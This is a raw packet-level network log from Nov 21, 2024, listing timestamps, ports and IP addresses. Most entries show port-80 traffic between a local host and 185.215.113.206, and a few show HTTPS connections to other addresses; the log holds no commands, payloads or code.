Nov 21, 2024 22:04:59.549495935 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.549552917 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.549998045 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.550057888 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.550355911 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.550407887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.550916910 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.550976038 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.551186085 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.551234961 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.551903963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.551915884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.551968098 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.552674055 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.552686930 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.552731037 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.553533077 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.553581953 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.554032087 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.554080009 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.554506063 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.554553986 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.554584980 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.554632902 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.555326939 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.555380106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.555511951 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.555561066 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.556217909 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.556299925 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.556454897 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.556663036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.557152987 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.557167053 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.557210922 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.557240009 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.558015108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.558089972 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.558118105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.558130026 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.558898926 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.558959007 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.558963060 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.559006929 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.559771061 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.559783936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.559883118 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.560636997 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.560694933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.560728073 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.560764074 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.561510086 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.561562061 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.561688900 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.561808109 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.562402964 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.562448978 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.562527895 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.562648058 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.563271046 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.563333035 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.563519955 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.563565969 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.564122915 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.564177036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.564249992 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.564327002 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.565021038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.565155029 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.565248966 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.565294027 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.565933943 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.565987110 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.566538095 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.566589117 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.566831112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.566843987 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.566883087 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.567677021 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.567725897 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.567734957 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.567832947 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.568581104 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.568640947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.568644047 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.568710089 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.569461107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.569509983 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.569601059 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.569659948 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.570339918 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.570390940 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.570480108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.570538998 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.571238995 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.571286917 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.571368933 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.571427107 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.572139978 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.572187901 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.572197914 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.572228909 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.573004007 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.573071957 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.573158979 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.573231936 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.573860884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.573925972 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.574148893 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.574193954 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.574734926 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.574836969 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.574892998 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.575627089 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.575681925 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.575859070 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.575932026 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.576517105 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.576550007 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.576569080 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.576605082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.577455044 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.577503920 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.577619076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.577673912 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.578809977 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.578823090 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.578865051 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.579166889 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.579215050 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.579438925 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.579488993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.580070972 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.580084085 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.580122948 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.581006050 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.581017971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.581059933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.581852913 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.581906080 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.581984043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.582032919 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.582730055 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.582752943 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.582802057 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.583092928 CET	443	49899	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.583388090 CET	443	49900	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.583415031 CET	49899	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.583441019 CET	443	49899	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.583591938 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.583646059 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.583709955 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.583903074 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.583954096 CET	49900	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.583971977 CET	443	49900	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.584012032 CET	443	49898	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.584455967 CET	49900	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.584460974 CET	443	49900	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.584513903 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.584594011 CET	443	49899	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.584664106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.584801912 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.584861040 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.585005999 CET	49899	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.585190058 CET	49899	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.585217953 CET	443	49899	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.585355043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.585414886 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.585499048 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.585553885 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.586230993 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.586301088 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.586965084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.587013006 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.587187052 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.587199926 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.587236881 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.587349892 CET	443	49898	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.587413073 CET	49898	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.587605953 CET	49898	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.587618113 CET	443	49898	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.587656975 CET	49898	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.587663889 CET	443	49898	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.588040113 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.588093996 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.588148117 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.588886976 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.588956118 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.589498043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.589776993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.589840889 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.589894056 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.590301037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.590698957 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.590725899 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.590738058 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.590781927 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.591625929 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.591682911 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.591715097 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.591917038 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.592431068 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.592503071 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.592540979 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.592653036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.594032049 CET	49914	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.594065905 CET	443	49914	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.594207048 CET	49914	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.594326019 CET	49914	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.594341993 CET	443	49914	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.635593891 CET	49899	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.723782063 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.723814964 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.723882914 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.724189997 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.724210024 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.724276066 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.724386930 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.724410057 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.724467039 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.724550962 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.724558115 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.724663973 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.724673033 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.724705935 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.724726915 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.725042105 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.725060940 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.725241899 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.725256920 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.725313902 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.725363970 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.725373030 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.725452900 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.725464106 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.725542068 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.725552082 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.725637913 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.725649118 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.725763083 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:04:59.725773096 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:04:59.738732100 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.738794088 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.738801956 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.739120960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.739150047 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.739193916 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.739231110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.739275932 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.740051031 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.740094900 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.740402937 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.740923882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.740967989 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.741215944 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.741295099 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.741452932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.741503954 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.742116928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.742153883 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.742192030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.742959976 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.743016005 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.743016958 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.743139982 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.743861914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.743875027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.743972063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.744740963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.744796991 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.744961977 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.745003939 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.745628119 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.745687008 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.745889902 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.746062994 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.746129036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.746460915 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.746548891 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.746844053 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.747381926 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.747401953 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.747447968 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.747472048 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.747689009 CET	49902	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.747700930 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.748076916 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.748249054 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.748364925 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.748392105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.748416901 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.748450994 CET	443	49904	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.748574018 CET	49902	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.748641014 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.749033928 CET	49904	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.749042988 CET	443	49904	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.749121904 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.749160051 CET	49902	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.749185085 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.749641895 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.749732018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.750006914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.750072002 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.750081062 CET	443	49904	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.750139952 CET	49904	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.750201941 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.750403881 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.750485897 CET	49904	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.750565052 CET	443	49904	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.750622034 CET	49904	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.750628948 CET	443	49904	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.750890017 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.750936985 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.750972986 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.751058102 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.751794100 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.751842976 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.751877069 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.751971960 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.752686977 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.752783060 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.753045082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.753094912 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.753556967 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.753645897 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.753773928 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.754436016 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.754483938 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.754554987 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.754601955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.755338907 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.755434036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.755470037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.755558968 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.756175041 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.756227016 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.756943941 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.756993055 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.757076025 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.757152081 CET	49819	80	192.168.2.7	185.215.113.206
